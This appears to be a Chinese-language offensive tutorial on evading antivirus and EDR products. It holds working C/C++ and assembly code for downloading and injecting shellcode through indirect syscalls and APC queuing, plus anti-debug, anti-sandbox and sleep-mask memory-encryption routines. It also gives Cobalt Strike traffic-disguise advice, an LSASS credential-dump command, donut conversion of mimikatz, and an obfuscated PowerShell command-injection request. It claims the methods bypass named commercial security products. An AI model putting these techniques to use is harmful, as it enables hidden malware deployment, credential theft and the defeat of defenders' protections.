动态逃逸杀软的艺术
字数 1815 2025-08-22 22:47:39

动态逃逸杀软技术全面指南

1. 流量规避技术

1.1 Cobalt Strike Profile修改

  • 问题分析:默认jquery流量已被杀软标记,HTTPS监听对杀软无效(杀软可解密HTTPS)
  • 关键修改点
    • 修改http-get部分:metadata使用base64url编码,header指定Cookie头
    • 修改http-post部分:任务结果经过mask加密和base64url编码
    • 模拟合法流量(如B站流量)替代可疑的静态资源POST请求

1.2 流量模拟最佳实践

  1. 使用c2lint工具检查profile效果
  2. 关闭host_stage避免空间测绘识别C2
  3. 确保VPS IP未被标记(更换被标记IP)
  4. 流量特征:
    • 使用mask代表随机xor加密
    • base64进一步编码降低流量熵值
    • 完全融入正常网站流量模式

2. Shellcode处理技术

2.1 网络获取Shellcode

std::vector<unsigned char> DownloadShellcode(const char* url) {
    std::vector<unsigned char> shellcode;
    HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet) {
        HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, 
            INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
        if (hUrl) {
            DWORD bytesRead = 0;
            const DWORD bufferSize = 4096;
            BYTE buffer[bufferSize];
            while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
                shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
            }
            InternetCloseHandle(hUrl);
        }
        InternetCloseHandle(hInternet);
    }
    return shellcode;
}

2.2 Shellcode自解密技术

  • 使用SGN工具处理shellcode:

    ./sgn --arch=64 -S -i shellcode.txt
    
    • -S:安全生成shellcode
    • --arch=64:处理64位shellcode
  • 特点:

    • 随机空间大,难以编写Yara规则
    • 需要RWX内存权限(EDR/XDR会重点监控)
    • 不是万能方案,应作为备选

3. 系统调用技术

3.1 传统API调用流程分析

callback!main+0x99 --> KERNELBASE!VirtualAlloc+0x48 --> 
ntdll!NtAllocateVirtualMemory --> ntoskrnl.exe

3.2 直接系统调用

  • 汇编实现:
    mov r10, rcx
    mov eax, 18h  ; 系统调用号
    syscall
    ret
    
  • 问题:系统调用号随Windows版本变化

3.3 间接系统调用(SysWhispers3)

  1. 生成间接系统调用代码:

    python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory -o SysWhispers
    
  2. 关键技术:

    • API HASH技术规避硬编码字符串
    • 获取随机syscall地址(规避NTDLL hook)
    • 跳跃间接系统随机化
  3. 示例汇编代码:

    Sw3NtAllocateVirtualMemory PROC
        mov [rsp +8], rcx
        mov [rsp+16], rdx
        mov [rsp+24], r8
        mov [rsp+32], r9
        sub rsp, 28h
        mov ecx, 019911121h  ; 函数hash
        call SW3_GetRandomSyscallAddress
        mov r11, rax
        mov ecx, 019911121h
        call SW3_GetSyscallNumber
        add rsp, 28h
        mov rcx, [rsp+8]
        mov rdx, [rsp+16]
        mov r8, [rsp+24]
        mov r9, [rsp+32]
        mov r10, rcx
        jmp r11  ; 跳转到系统调用
    Sw3NtAllocateVirtualMemory ENDP
    

4. Shellcode执行方案

4.1 回调函数执行

  • 示例:EnumChildWindows回调

    EnumChildWindows(NULL, (WNDENUMPROC)Address, NULL);
    
  • 线程池回调示例:

    bool CreateAndTriggerEvent(PTP_WAIT_CALLBACK WaitCallback) {
        HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
        PTP_WAIT wait = CreateThreadpoolWait(WaitCallback, NULL, NULL);
        SetThreadpoolWait(wait, hEvent, NULL);
        SetEvent(hEvent);
        WaitForSingleObject(GetCurrentProcess(), INFINITE);
        return true;
    }
    // 触发
    CreateAndTriggerEvent((PTP_WAIT_CALLBACK)Address);
    

4.2 APC注入升级版

  1. 生成必要API:

    python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o apcsyscall -v
    
  2. 注入函数示例:

    std::tuple<BOOL, PVOID> syscallInject(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
        PVOID pAddress = nullptr;
        NTSTATUS STATUS1 = Sw3NtAllocateVirtualMemory(hProcess, &pAddress, NULL, 
            &sSizeOfShellcode, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
        NTSTATUS STATUS2 = Sw3NtWriteVirtualMemory(hProcess, pAddress, pShellcode, 
            sSizeOfShellcode, &sNumberOfBytesWritten);
        DWORD dwOldProtection = NULL;
        NTSTATUS STATUS3 = Sw3NtProtectVirtualMemory(hProcess, &pAddress, 
            &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection);
        return std::make_tuple(TRUE, pAddress);
    }
    

5. 反调试技术

5.1 异常处理反调试

BOOL isDebugged = TRUE;
LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers) {
    isDebugged = FALSE;
    return EXCEPTION_CONTINUE_EXECUTION;
}

int main() {
    PTOP_LEVEL_EXCEPTION_FILTER previous = SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
    RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
    SetUnhandledExceptionFilter(previous);
    if(isDebugged) exit(0);
    // 正常代码
}

5.2 其他高级反调试技术

参考:anti-debug.checkpoint.com

6. 反沙箱技术

6.1 TCP关联延迟方案

int hello_tcp(const std::string& ip, int port) {
    WinsockInit winsockInit;
    Socket socket;
    sockaddr_in server_addr = {};
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr = inet_addr(ip.c_str());
    connect(socket.get(), reinterpret_cast<struct sockaddr*>(&server_addr), sizeof(server_addr));
    return 0;
}

// 使用示例
hello_tcp("127.0.0.1", 9999); // 第一次握手
Sleep(60000); // 沙箱可能hook时间为0
hello_tcp("127.0.0.1", 9999); // 检查TCP状态判断是否沙箱

服务端实现:

def tcp_con(sleep=bool):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('0.0.0.0', 9999))
    sock.listen(1)
    connection, client_address = sock.accept()
    connection.close()
    if sleep:
        time.sleep(600) # 反沙箱睡眠

7. 内存规避技术

7.1 SleepMask技术分析

  1. 关键结构

    typedef struct {
        char* beacon_ptr;       // beacon基地址
        DWORD* sections;       // 要加密的内存段列表
        HEAP_RECORD* heap_records; // 要加密的堆内存地址
        char mask[MASK_SIZE];  // 随机生成的掩码
    } SLEEPMASKP;
    
  2. 加密函数

    void mask_section(SLEEPMASKP* parms, DWORD a, DWORD b) {
        while(a < b) {
            *(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
            a++;
        }
    }
    
    • XOR加密,调用两次即可解密
    • 对.text段修改权限为PAGE_READWRITE
  3. Ekko休眠技术

    • 使用CreateTimerQueueTimer和NtContinue实现ROP
    • 定时任务序列:
      • 100ms: spoof_stack
      • 200ms: VirtualProtect
      • 300ms: SystemFunction032
      • 400+time ms: 重复SystemFunction032
      • 500+time ms: 恢复代码段权限
      • 600+time ms: 恢复原始栈
      • 700+time ms: SetEvent解除阻塞

7.2 SystemFunction032加密

NTSTATUS SystemFunction032(struct ustring* data, const struct ustring* key);

8. 行为规避技术

8.1 进程注入技术

Cobalt Strike默认注入技术:

execute {
    CreateThread "ntdll!RtlUserThreadStart+0x42";
    CreateThread;
    SetThreadContext;
    NtQueueApcThread-s;
    NtQueueApcThread;
    CreateRemoteThread;
    RtlCreateUserThread;
}

推荐使用线程池注入等高级注入技术。

8.2 进程链监控绕过

  1. 进程注入:注入到浏览器等正常网络连接进程
  2. 父进程欺骗:模拟正常进程调用链
  3. WinCOM技术:利用COM接口特性

8.3 DLL侧加载(白+黑)

  • 利用合法签名程序的DLL加载机制
  • 目前仍能绕过大多数EDR检测

8.4 Dump Lsass内存

  • 使用nanodump工具:
    nanodump --fork --write C:\lsass.dmp
    
  • 对抗卡巴斯基需要驱动级技术

9. 通用工具免杀

9.1 PE转Shellcode工具

  1. pe2shc:
    pe2shc.exe <path_to_PE> [output_path]
    
  2. donut:
    donut.exe -i mimikatz.exe -o log.txt -z 1
    
    • -z:压缩级别(1-4)

10. 测试验证

10.1 编译SleepMask

./build.sh 49 WaitForSingleObject true indirect_randomized ./temp/

10.2 上线测试

  • 火绒6.0内存查杀绕过
  • 卡巴斯基企业版绕过

11. 高级对抗技术

  1. LLVM混淆:每次编译生成不同特征

    • 参考KomiMoe大佬的工作
    • 注意可能导致加密失效或崩溃
  2. 流量层漏洞防御绕过

    • 变形POC绕过正则检测
    • 示例:
      GET /check?cmd=ping//////88ukjvyjufhilhl/2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2FpOweRshELl.exe+'echo%20vF2T7n' HTTP/1.1
      

12. 参考资料

  1. Cobalt Strike Malleable C2 Profile Language
  2. Process Injection Techniques - Gotta Catch Them All
  3. EDR Evasion Primer For Red Teamers
  4. Anti-Debug Techniques
动态逃逸杀软技术全面指南 1. 流量规避技术 1.1 Cobalt Strike Profile修改 问题分析 :默认jquery流量已被杀软标记,HTTPS监听对杀软无效(杀软可解密HTTPS) 关键修改点 : 修改http-get部分:metadata使用base64url编码,header指定Cookie头 修改http-post部分:任务结果经过mask加密和base64url编码 模拟合法流量(如B站流量)替代可疑的静态资源POST请求 1.2 流量模拟最佳实践 使用c2lint工具检查profile效果 关闭host_ stage避免空间测绘识别C2 确保VPS IP未被标记(更换被标记IP) 流量特征: 使用mask代表随机xor加密 base64进一步编码降低流量熵值 完全融入正常网站流量模式 2. Shellcode处理技术 2.1 网络获取Shellcode 2.2 Shellcode自解密技术 使用SGN工具处理shellcode: -S :安全生成shellcode --arch=64 :处理64位shellcode 特点: 随机空间大,难以编写Yara规则 需要RWX内存权限(EDR/XDR会重点监控) 不是万能方案,应作为备选 3. 系统调用技术 3.1 传统API调用流程分析 3.2 直接系统调用 汇编实现: 问题:系统调用号随Windows版本变化 3.3 间接系统调用(SysWhispers3) 生成间接系统调用代码: 关键技术: API HASH技术规避硬编码字符串 获取随机syscall地址(规避NTDLL hook) 跳跃间接系统随机化 示例汇编代码: 4. Shellcode执行方案 4.1 回调函数执行 示例:EnumChildWindows回调 线程池回调示例: 4.2 APC注入升级版 生成必要API: 注入函数示例: 5. 反调试技术 5.1 异常处理反调试 5.2 其他高级反调试技术 参考: anti-debug.checkpoint.com 6. 反沙箱技术 6.1 TCP关联延迟方案 服务端实现: 7. 内存规避技术 7.1 SleepMask技术分析 关键结构 : 加密函数 : XOR加密,调用两次即可解密 对.text段修改权限为PAGE_ READWRITE Ekko休眠技术 : 使用CreateTimerQueueTimer和NtContinue实现ROP 定时任务序列: 100ms: spoof_ stack 200ms: VirtualProtect 300ms: SystemFunction032 400+time ms: 重复SystemFunction032 500+time ms: 恢复代码段权限 600+time ms: 恢复原始栈 700+time ms: SetEvent解除阻塞 7.2 SystemFunction032加密 8. 行为规避技术 8.1 进程注入技术 Cobalt Strike默认注入技术: 推荐使用线程池注入等高级注入技术。 8.2 进程链监控绕过 进程注入 :注入到浏览器等正常网络连接进程 父进程欺骗 :模拟正常进程调用链 WinCOM技术 :利用COM接口特性 8.3 DLL侧加载(白+黑) 利用合法签名程序的DLL加载机制 目前仍能绕过大多数EDR检测 8.4 Dump Lsass内存 使用nanodump工具: 对抗卡巴斯基需要驱动级技术 9. 通用工具免杀 9.1 PE转Shellcode工具 pe2shc: donut: -z :压缩级别(1-4) 10. 测试验证 10.1 编译SleepMask 10.2 上线测试 火绒6.0内存查杀绕过 卡巴斯基企业版绕过 11. 高级对抗技术 LLVM混淆 :每次编译生成不同特征 参考KomiMoe大佬的工作 注意可能导致加密失效或崩溃 流量层漏洞防御绕过 : 变形POC绕过正则检测 示例: 12. 参考资料 Cobalt Strike Malleable C2 Profile Language Process Injection Techniques - Gotta Catch Them All EDR Evasion Primer For Red Teamers Anti-Debug Techniques